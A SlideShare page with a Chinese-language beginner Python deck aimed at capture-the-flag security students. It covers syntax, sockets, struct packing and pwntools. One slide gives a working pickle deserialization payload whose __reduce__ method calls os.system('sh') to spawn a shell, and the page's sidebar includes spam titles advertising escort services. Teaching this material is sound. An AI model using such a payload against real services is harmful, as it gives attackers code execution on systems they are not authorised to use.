SlideShare ist ein Scribd-Unternehmen logo
1 von 29
Python
bananaapple
Who am I?
• ID : bananaapple
• 學校科系 : 交通大學資工系
• 年級 : 大四
• 目前為 Bamboofox 中的一員
• 學習資安約一年
Outline
• Introduction
• Installation
• Getting Started
• Version
• Print
• Input
• Object
• Integer
• String
• List
• Arithmetic
• Conditional and Comment
• Loop and function
• Module
• Socket
• Struct
• Pwntools
• Vulnerable
• Practice
• Reference
Introduction
• Easy
• Swift
• Grace
• Object-oriented
• Strong module support
• Default built in most
environment
• Script language
Installation
• Debian GNU / Linux
apt-get install python
apt-get install python-dev
// install additional header file and static library
• Windows
Sorry
Getting Started
• From terminal type python
python
• Save file with file extension .py and type python print.py
python print.py
• Add first line #!/usr/bin/env python
• Add executable privilege to file and ./filename execute it
./print.py
Version
• Python2 or Python3?
• We recommended use Python3
• Almost the same
• Except for print
Print
• End with newline character
• Format output
print "%d" % (100)
print "{0}{1}".format('hello',
'world')
If you want to manually control
output use sys.stdout.write()
instead
• Python2
• Python3
Input
• raw_input()
Read a line from stdin and strip a
trailing newline
• Python2
raw_input()
• Python3
input()
Difference:
Python3 will run eval(input())
and return
Object
• Everything in Python is object
• an identity ( use id to observe it )
• a value ( immutable and mutable )
• Immutable: Integer, String, Tuple
• Mutable: List , Dictionary
• When immutable value change
id will be different
• When mutable value change
id will be the same
Integer
• Declare a variable
i = 1 or i = 0x5566
• Print integer as hex
i = 0x5566
hex(i)
# '0x5566'
chr(0x61)
# 'a'
• Change hex string to integer
s = '0x5566'
i = int(s,16)
print str(i)
# 21862
• Convert character to integer
ord('a')
# 97
String
• s.strip()
將字串頭尾的newline和space去
掉
• s.find(‘string’)
return找到string的index
• s.replace('old', 'new', [max])
將old字串取代成new
最多取代max次
• s[0:len(s)]
s='abcde'
len(s) # 5
s=s[0:2] # s= 'ab'
s='abcde'
s[::2] # 'ace'
s[:-1] # 'abcd'
s[::-1] # 'edcba'
s[:] # 'abcde'
List
• Declare with []
lis =[]
• lis.append(element)
# lis = [element]
• lis.remove(element)
• lis.sort()
• lis.reverse()
• Split string include spaces
s = 'a b c d e'
lis = s.split(' ')
# lis = ['a', 'b', 'c', 'd', 'e']
• map( function_name, sequence )
def f(x):
return x**2
map(f,range(10))
[0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
arithmetic
• Add
+
• Minus
-
• Multiply
*
• Divide
/
• Power
**
Ex: 2**3 = 8
• Modulo
%
Ex : 8 % 3 = 2
Conditional and Comment
if condition:
statement
elif condition:
statement
else:
statement
• Single line comment begins with
# character
#Code to be commented out
• Multiple line comment
"""
Code to be commented out
Code to be commented out
"""
Loop and function
for i in range(N):
print I
will print 0 to N-1
for x in string:
print x
will print every character in the
string appended with newline
While condition:
statement
in the loop we could use break or
continue to control the loop
def function_name ( parameter ):
statement
return
Module
• import module
• module.name
• module.attribute
Imports the module X, and creates
a reference to that module in the
current namespace. Then you
need to define completed module
path to access a particular
attribute or method from inside
the module ( e.g.: X.name or
X.attribute )
Module
• from module import *
• name
• attribute
Imports the module X, and creates
references to all public objects
defined by that module in the
current namespace (that is,
everything that doesn’t have a
name starting with _) or whatever
name you mentioned.
This makes all names from the
module available in the local
namespace.
Socket
from socket import *
from telnetlib import *
ip = '140.113.209.24'
port = 10000
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
t = Telnet()
t.sock = s
t.interact()
Socket
• s.recv(buf_size)
收 buf_size 長度的字串
buf = s.recv(4096)
• s.send(string)
將 string 送過去
s.send(payload)
• s.close()
關閉 socket
Struct
• Pack the integer into little-indian or big-indian
import struct
address = 0x0804aabb
payload = struct.pack('<I', address)
#payload = "xbbxaax04x08"
address = struct.unpack('<I', payload)[0]
hex(address)
# address = 0x804aabb
Pwntools
• Installation
sudo apt-get install python-dev
sudo apt-get install python-setuptools
sudo easy_install pip
sudo pip install pwntools
• Getting started
from pwn import *
Pwntools
• Context - Setting runtime variables
context.update(arch='i386', os='linux')
i386 is 32bits, amd64 is 64bits
• If you don’t want to see the notice
context.log_level = 'error'
Pwntools
ip = '140.113.209.24'
port = 10000
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
• s = remote(ip, port)
t = Telnet()
t.sock = s
t.interact()
• s.interactive()
Pwntools
• Packing integer
address = 0x0804aabb
payload = struct.pack('<I', address)
• Payload = p32(0x0804aabb)
• 8 bytes?
• Payload = p64(0x0804aabb)
• Unpack string to integer
payload = "xbbxaax04x08"
address = struct.unpack('<I',
payload)[0]
• address = unpack(payload)
hex(address)
# address = 0x804aabb
Pwntools
• Too much to list
• Shellcode
• Working with elf
• Working with gdb
• Memory leak
• Rop chain
• Translate assembly to string
• Shellcode
Vulnerable
• Pickle
import pickle
import os
class Exploit(object):
def __reduce__(self):
comm="sh"
return (os.system, (comm,))
a = pickle.dumps(Exploit())
b = pickle.loads(a)
shell跑出來啦!!!
Practice
• Hackerrank
https://www.hackerrank.com/
• Combination
http://ctf.cs.nctu.edu.tw/problems/31
• Pickle
http://140.113.194.85:3000/problems/8
Reference
• 90% of Python in 90 Minutes
http://www.slideshare.net/MattHarrison4/learn-90
• From import vs import
http://stackoverflow.com/questions/9439480/from-import-vs-import
• Angelboy’s CTF note
http://angelboy.logdown.com/posts/245988-ctf-notes
• Pwntools document
https://pwntools.readthedocs.org/en/2.2/about.html

Weitere ähnliche Inhalte

Was ist angesagt?

Python легко и просто. Красиво решаем повседневные задачи
Python легко и просто. Красиво решаем повседневные задачиPython легко и просто. Красиво решаем повседневные задачи
Python легко и просто. Красиво решаем повседневные задачиMaxim Kulsha
 
The best of AltJava is Xtend
The best of AltJava is XtendThe best of AltJava is Xtend
The best of AltJava is Xtendtakezoe
 
Rust Mozlando Tutorial
Rust Mozlando TutorialRust Mozlando Tutorial
Rust Mozlando Tutorialnikomatsakis
 
Are we ready to Go?
Are we ready to Go?Are we ready to Go?
Are we ready to Go?Adam Dudczak
 
Advanced python
Advanced pythonAdvanced python
Advanced pythonEU Edge
 
The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...
The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...
The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...John De Goes
 
Hacking Go Compiler Internals / GoCon 2014 Autumn
Hacking Go Compiler Internals / GoCon 2014 AutumnHacking Go Compiler Internals / GoCon 2014 Autumn
Hacking Go Compiler Internals / GoCon 2014 AutumnMoriyoshi Koizumi
 
An Intro To ES6
An Intro To ES6An Intro To ES6
An Intro To ES6FITC
 
Haskell in the Real World
Haskell in the Real WorldHaskell in the Real World
Haskell in the Real Worldosfameron
 
Rust concurrency tutorial 2015 12-02
Rust concurrency tutorial 2015 12-02Rust concurrency tutorial 2015 12-02
Rust concurrency tutorial 2015 12-02nikomatsakis
 
Explaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to ComeExplaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to ComeCory Forsyth
 
Python and sysadmin I
Python and sysadmin IPython and sysadmin I
Python and sysadmin IGuixing Bai
 
Design Patterns - Compiler Case Study - Hands-on Examples
Design Patterns - Compiler Case Study - Hands-on ExamplesDesign Patterns - Compiler Case Study - Hands-on Examples
Design Patterns - Compiler Case Study - Hands-on ExamplesGanesh Samarthyam
 

Was ist angesagt? (20)

P3 2018 python_regexes
P3 2018 python_regexesP3 2018 python_regexes
P3 2018 python_regexes
 
Python легко и просто. Красиво решаем повседневные задачи
Python легко и просто. Красиво решаем повседневные задачиPython легко и просто. Красиво решаем повседневные задачи
Python легко и просто. Красиво решаем повседневные задачи
 
The best of AltJava is Xtend
The best of AltJava is XtendThe best of AltJava is Xtend
The best of AltJava is Xtend
 
Rust Mozlando Tutorial
Rust Mozlando TutorialRust Mozlando Tutorial
Rust Mozlando Tutorial
 
Are we ready to Go?
Are we ready to Go?Are we ready to Go?
Are we ready to Go?
 
P4 2018 io_functions
P4 2018 io_functionsP4 2018 io_functions
P4 2018 io_functions
 
Rust言語紹介
Rust言語紹介Rust言語紹介
Rust言語紹介
 
Advanced python
Advanced pythonAdvanced python
Advanced python
 
The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...
The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...
The Easy-Peasy-Lemon-Squeezy, Statically-Typed, Purely Functional Programming...
 
Hacking Go Compiler Internals / GoCon 2014 Autumn
Hacking Go Compiler Internals / GoCon 2014 AutumnHacking Go Compiler Internals / GoCon 2014 Autumn
Hacking Go Compiler Internals / GoCon 2014 Autumn
 
Rust-lang
Rust-langRust-lang
Rust-lang
 
An Intro To ES6
An Intro To ES6An Intro To ES6
An Intro To ES6
 
Haskell in the Real World
Haskell in the Real WorldHaskell in the Real World
Haskell in the Real World
 
Rust concurrency tutorial 2015 12-02
Rust concurrency tutorial 2015 12-02Rust concurrency tutorial 2015 12-02
Rust concurrency tutorial 2015 12-02
 
IO Streams, Files and Directories
IO Streams, Files and DirectoriesIO Streams, Files and Directories
IO Streams, Files and Directories
 
Explaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to ComeExplaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to Come
 
C# - What's next
C# - What's nextC# - What's next
C# - What's next
 
Don't do this
Don't do thisDon't do this
Don't do this
 
Python and sysadmin I
Python and sysadmin IPython and sysadmin I
Python and sysadmin I
 
Design Patterns - Compiler Case Study - Hands-on Examples
Design Patterns - Compiler Case Study - Hands-on ExamplesDesign Patterns - Compiler Case Study - Hands-on Examples
Design Patterns - Compiler Case Study - Hands-on Examples
 

Ähnlich wie Python

Happy Go Programming
Happy Go ProgrammingHappy Go Programming
Happy Go ProgrammingLin Yo-An
 
Explorando el Diseño de la Memoria en Rust
Explorando el Diseño de la Memoria en RustExplorando el Diseño de la Memoria en Rust
Explorando el Diseño de la Memoria en RustGermán Küber
 
I need help building a dictionary for the unique packets tha.pdf
I need help building a dictionary for the unique packets tha.pdfI need help building a dictionary for the unique packets tha.pdf
I need help building a dictionary for the unique packets tha.pdfsukhvir71
 
2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx
2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx
2022-23TYBSC(CS)-Python Prog._Chapter-1.pptxsangeeta borde
 
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...Muhammad Ulhaque
 
2 BytesC++ course_2014_c3_ function basics&parameters and overloading
2 BytesC++ course_2014_c3_ function basics&parameters and overloading2 BytesC++ course_2014_c3_ function basics&parameters and overloading
2 BytesC++ course_2014_c3_ function basics&parameters and overloadingkinan keshkeh
 
Cs1123 3 c++ overview
Cs1123 3 c++ overviewCs1123 3 c++ overview
Cs1123 3 c++ overviewTAlha MAlik
 
C++ Strings.ppt
C++ Strings.pptC++ Strings.ppt
C++ Strings.pptDilanAlmsa
 
A Recovering Java Developer Learns to Go
A Recovering Java Developer Learns to GoA Recovering Java Developer Learns to Go
A Recovering Java Developer Learns to GoMatt Stine
 
Swift, functional programming, and the future of Objective-C
Swift, functional programming, and the future of Objective-CSwift, functional programming, and the future of Objective-C
Swift, functional programming, and the future of Objective-CAlexis Gallagher
 
Introduction to Python for Plone developers
Introduction to Python for Plone developersIntroduction to Python for Plone developers
Introduction to Python for Plone developersJim Roepcke
 
Learning python
Learning pythonLearning python
Learning pythonFraboni Ec
 

Ähnlich wie Python (20)

Happy Go Programming
Happy Go ProgrammingHappy Go Programming
Happy Go Programming
 
Explorando el Diseño de la Memoria en Rust
Explorando el Diseño de la Memoria en RustExplorando el Diseño de la Memoria en Rust
Explorando el Diseño de la Memoria en Rust
 
I need help building a dictionary for the unique packets tha.pdf
I need help building a dictionary for the unique packets tha.pdfI need help building a dictionary for the unique packets tha.pdf
I need help building a dictionary for the unique packets tha.pdf
 
2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx
2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx
2022-23TYBSC(CS)-Python Prog._Chapter-1.pptx
 
Modern C++
Modern C++Modern C++
Modern C++
 
dynamic-allocation.pdf
dynamic-allocation.pdfdynamic-allocation.pdf
dynamic-allocation.pdf
 
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
 
C
CC
C
 
2 BytesC++ course_2014_c3_ function basics&parameters and overloading
2 BytesC++ course_2014_c3_ function basics&parameters and overloading2 BytesC++ course_2014_c3_ function basics&parameters and overloading
2 BytesC++ course_2014_c3_ function basics&parameters and overloading
 
Cs1123 3 c++ overview
Cs1123 3 c++ overviewCs1123 3 c++ overview
Cs1123 3 c++ overview
 
C++ Strings.ppt
C++ Strings.pptC++ Strings.ppt
C++ Strings.ppt
 
Java string handling
Java string handlingJava string handling
Java string handling
 
A Recovering Java Developer Learns to Go
A Recovering Java Developer Learns to GoA Recovering Java Developer Learns to Go
A Recovering Java Developer Learns to Go
 
Swift, functional programming, and the future of Objective-C
Swift, functional programming, and the future of Objective-CSwift, functional programming, and the future of Objective-C
Swift, functional programming, and the future of Objective-C
 
Angular2 for Beginners
Angular2 for BeginnersAngular2 for Beginners
Angular2 for Beginners
 
Unit2 input output
Unit2 input outputUnit2 input output
Unit2 input output
 
Introduction to Python for Plone developers
Introduction to Python for Plone developersIntroduction to Python for Plone developers
Introduction to Python for Plone developers
 
Aggregate.pptx
Aggregate.pptxAggregate.pptx
Aggregate.pptx
 
Learning python
Learning pythonLearning python
Learning python
 
Learning python
Learning pythonLearning python
Learning python
 

Mehr von Wei-Bo Chen

Triton and Symbolic execution on GDB@DEF CON China
Triton and Symbolic execution on GDB@DEF CON ChinaTriton and Symbolic execution on GDB@DEF CON China
Triton and Symbolic execution on GDB@DEF CON ChinaWei-Bo Chen
 
Triton and symbolic execution on gdb
Triton and symbolic execution on gdbTriton and symbolic execution on gdb
Triton and symbolic execution on gdbWei-Bo Chen
 
Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For BeginnerWei-Bo Chen
 

Mehr von Wei-Bo Chen (6)

Triton and Symbolic execution on GDB@DEF CON China
Triton and Symbolic execution on GDB@DEF CON ChinaTriton and Symbolic execution on GDB@DEF CON China
Triton and Symbolic execution on GDB@DEF CON China
 
Klee and angr
Klee and angrKlee and angr
Klee and angr
 
Triton and symbolic execution on gdb
Triton and symbolic execution on gdbTriton and symbolic execution on gdb
Triton and symbolic execution on gdb
 
Some tips
Some tipsSome tips
Some tips
 
Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For Beginner
 
x86
x86x86
x86
 

Kürzlich hochgeladen

UNIT-III FMM. DIMENSIONAL ANALYSIS
UNIT-III FMM.        DIMENSIONAL ANALYSISUNIT-III FMM.        DIMENSIONAL ANALYSIS
UNIT-III FMM. DIMENSIONAL ANALYSISrknatarajan
 
Booking open Available Pune Call Girls Pargaon 6297143586 Call Hot Indian Gi...
Booking open Available Pune Call Girls Pargaon  6297143586 Call Hot Indian Gi...Booking open Available Pune Call Girls Pargaon  6297143586 Call Hot Indian Gi...
Booking open Available Pune Call Girls Pargaon 6297143586 Call Hot Indian Gi...Call Girls in Nagpur High Profile
 
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...SUHANI PANDEY
 
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordCCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordAsst.prof M.Gokilavani
 
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Bookingdharasingh5698
 
ONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdf
ONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdfONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdf
ONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdfKamal Acharya
 
Thermal Engineering -unit - III & IV.ppt
Thermal Engineering -unit - III & IV.pptThermal Engineering -unit - III & IV.ppt
Thermal Engineering -unit - III & IV.pptDineshKumar4165
 
Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)simmis5
 
Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...
Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...
Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...Christo Ananth
 
UNIT-V FMM.HYDRAULIC TURBINE - Construction and working
UNIT-V FMM.HYDRAULIC TURBINE - Construction and workingUNIT-V FMM.HYDRAULIC TURBINE - Construction and working
UNIT-V FMM.HYDRAULIC TURBINE - Construction and workingrknatarajan
 
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance BookingCall Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Bookingroncy bisnoi
 
Unit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfUnit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfRagavanV2
 
Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...Christo Ananth
 
UNIT-II FMM-Flow Through Circular Conduits
UNIT-II FMM-Flow Through Circular ConduitsUNIT-II FMM-Flow Through Circular Conduits
UNIT-II FMM-Flow Through Circular Conduitsrknatarajan
 
Thermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VThermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VDineshKumar4165
 
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...Dr.Costas Sachpazis
 
AKTU Computer Networks notes --- Unit 3.pdf
AKTU Computer Networks notes ---  Unit 3.pdfAKTU Computer Networks notes ---  Unit 3.pdf
AKTU Computer Networks notes --- Unit 3.pdfankushspencer015
 
KubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlyKubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlysanyuktamishra911
 
Top Rated Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
Top Rated  Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...Top Rated  Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
Top Rated Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...Call Girls in Nagpur High Profile
 

Kürzlich hochgeladen (20)

UNIT-III FMM. DIMENSIONAL ANALYSIS
UNIT-III FMM.        DIMENSIONAL ANALYSISUNIT-III FMM.        DIMENSIONAL ANALYSIS
UNIT-III FMM. DIMENSIONAL ANALYSIS
 
Booking open Available Pune Call Girls Pargaon 6297143586 Call Hot Indian Gi...
Booking open Available Pune Call Girls Pargaon  6297143586 Call Hot Indian Gi...Booking open Available Pune Call Girls Pargaon  6297143586 Call Hot Indian Gi...
Booking open Available Pune Call Girls Pargaon 6297143586 Call Hot Indian Gi...
 
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
 
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordCCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
 
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
 
ONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdf
ONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdfONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdf
ONLINE FOOD ORDER SYSTEM PROJECT REPORT.pdf
 
Thermal Engineering -unit - III & IV.ppt
Thermal Engineering -unit - III & IV.pptThermal Engineering -unit - III & IV.ppt
Thermal Engineering -unit - III & IV.ppt
 
Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)
 
Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...
Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...
Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...
 
(INDIRA) Call Girl Bhosari Call Now 8617697112 Bhosari Escorts 24x7
(INDIRA) Call Girl Bhosari Call Now 8617697112 Bhosari Escorts 24x7(INDIRA) Call Girl Bhosari Call Now 8617697112 Bhosari Escorts 24x7
(INDIRA) Call Girl Bhosari Call Now 8617697112 Bhosari Escorts 24x7
 
UNIT-V FMM.HYDRAULIC TURBINE - Construction and working
UNIT-V FMM.HYDRAULIC TURBINE - Construction and workingUNIT-V FMM.HYDRAULIC TURBINE - Construction and working
UNIT-V FMM.HYDRAULIC TURBINE - Construction and working
 
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance BookingCall Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
 
Unit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfUnit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdf
 
Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...
 
UNIT-II FMM-Flow Through Circular Conduits
UNIT-II FMM-Flow Through Circular ConduitsUNIT-II FMM-Flow Through Circular Conduits
UNIT-II FMM-Flow Through Circular Conduits
 
Thermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VThermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - V
 
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
 
AKTU Computer Networks notes --- Unit 3.pdf
AKTU Computer Networks notes ---  Unit 3.pdfAKTU Computer Networks notes ---  Unit 3.pdf
AKTU Computer Networks notes --- Unit 3.pdf
 
KubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlyKubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghly
 
Top Rated Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
Top Rated  Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...Top Rated  Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
Top Rated Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
 

Python

  • 2. Who am I? • ID : bananaapple • 學校科系 : 交通大學資工系 • 年級 : 大四 • 目前為 Bamboofox 中的一員 • 學習資安約一年
  • 3. Outline • Introduction • Installation • Getting Started • Version • Print • Input • Object • Integer • String • List • Arithmetic • Conditional and Comment • Loop and function • Module • Socket • Struct • Pwntools • Vulnerable • Practice • Reference
  • 4. Introduction • Easy • Swift • Grace • Object-oriented • Strong module support • Default built in most environment • Script language
  • 5. Installation • Debian GNU / Linux apt-get install python apt-get install python-dev // install additional header file and static library • Windows Sorry
  • 6. Getting Started • From terminal type python python • Save file with file extension .py and type python print.py python print.py • Add first line #!/usr/bin/env python • Add executable privilege to file and ./filename execute it ./print.py
  • 7. Version • Python2 or Python3? • We recommended use Python3 • Almost the same • Except for print
  • 8. Print • End with newline character • Format output print "%d" % (100) print "{0}{1}".format('hello', 'world') If you want to manually control output use sys.stdout.write() instead • Python2 • Python3
  • 9. Input • raw_input() Read a line from stdin and strip a trailing newline • Python2 raw_input() • Python3 input() Difference: Python3 will run eval(input()) and return
  • 10. Object • Everything in Python is object • an identity ( use id to observe it ) • a value ( immutable and mutable ) • Immutable: Integer, String, Tuple • Mutable: List , Dictionary • When immutable value change id will be different • When mutable value change id will be the same
  • 11. Integer • Declare a variable i = 1 or i = 0x5566 • Print integer as hex i = 0x5566 hex(i) # '0x5566' chr(0x61) # 'a' • Change hex string to integer s = '0x5566' i = int(s,16) print str(i) # 21862 • Convert character to integer ord('a') # 97
  • 12. String • s.strip() 將字串頭尾的newline和space去 掉 • s.find(‘string’) return找到string的index • s.replace('old', 'new', [max]) 將old字串取代成new 最多取代max次 • s[0:len(s)] s='abcde' len(s) # 5 s=s[0:2] # s= 'ab' s='abcde' s[::2] # 'ace' s[:-1] # 'abcd' s[::-1] # 'edcba' s[:] # 'abcde'
  • 13. List • Declare with [] lis =[] • lis.append(element) # lis = [element] • lis.remove(element) • lis.sort() • lis.reverse() • Split string include spaces s = 'a b c d e' lis = s.split(' ') # lis = ['a', 'b', 'c', 'd', 'e'] • map( function_name, sequence ) def f(x): return x**2 map(f,range(10)) [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
  • 14. arithmetic • Add + • Minus - • Multiply * • Divide / • Power ** Ex: 2**3 = 8 • Modulo % Ex : 8 % 3 = 2
  • 15. Conditional and Comment if condition: statement elif condition: statement else: statement • Single line comment begins with # character #Code to be commented out • Multiple line comment """ Code to be commented out Code to be commented out """
  • 16. Loop and function for i in range(N): print I will print 0 to N-1 for x in string: print x will print every character in the string appended with newline While condition: statement in the loop we could use break or continue to control the loop def function_name ( parameter ): statement return
  • 17. Module • import module • module.name • module.attribute Imports the module X, and creates a reference to that module in the current namespace. Then you need to define completed module path to access a particular attribute or method from inside the module ( e.g.: X.name or X.attribute )
  • 18. Module • from module import * • name • attribute Imports the module X, and creates references to all public objects defined by that module in the current namespace (that is, everything that doesn’t have a name starting with _) or whatever name you mentioned. This makes all names from the module available in the local namespace.
  • 19. Socket from socket import * from telnetlib import * ip = '140.113.209.24' port = 10000 s = socket(AF_INET, SOCK_STREAM) s.connect((ip,port)) t = Telnet() t.sock = s t.interact()
  • 20. Socket • s.recv(buf_size) 收 buf_size 長度的字串 buf = s.recv(4096) • s.send(string) 將 string 送過去 s.send(payload) • s.close() 關閉 socket
  • 21. Struct • Pack the integer into little-indian or big-indian import struct address = 0x0804aabb payload = struct.pack('<I', address) #payload = "xbbxaax04x08" address = struct.unpack('<I', payload)[0] hex(address) # address = 0x804aabb
  • 22. Pwntools • Installation sudo apt-get install python-dev sudo apt-get install python-setuptools sudo easy_install pip sudo pip install pwntools • Getting started from pwn import *
  • 23. Pwntools • Context - Setting runtime variables context.update(arch='i386', os='linux') i386 is 32bits, amd64 is 64bits • If you don’t want to see the notice context.log_level = 'error'
  • 24. Pwntools ip = '140.113.209.24' port = 10000 s = socket(AF_INET, SOCK_STREAM) s.connect((ip,port)) • s = remote(ip, port) t = Telnet() t.sock = s t.interact() • s.interactive()
  • 25. Pwntools • Packing integer address = 0x0804aabb payload = struct.pack('<I', address) • Payload = p32(0x0804aabb) • 8 bytes? • Payload = p64(0x0804aabb) • Unpack string to integer payload = "xbbxaax04x08" address = struct.unpack('<I', payload)[0] • address = unpack(payload) hex(address) # address = 0x804aabb
  • 26. Pwntools • Too much to list • Shellcode • Working with elf • Working with gdb • Memory leak • Rop chain • Translate assembly to string • Shellcode
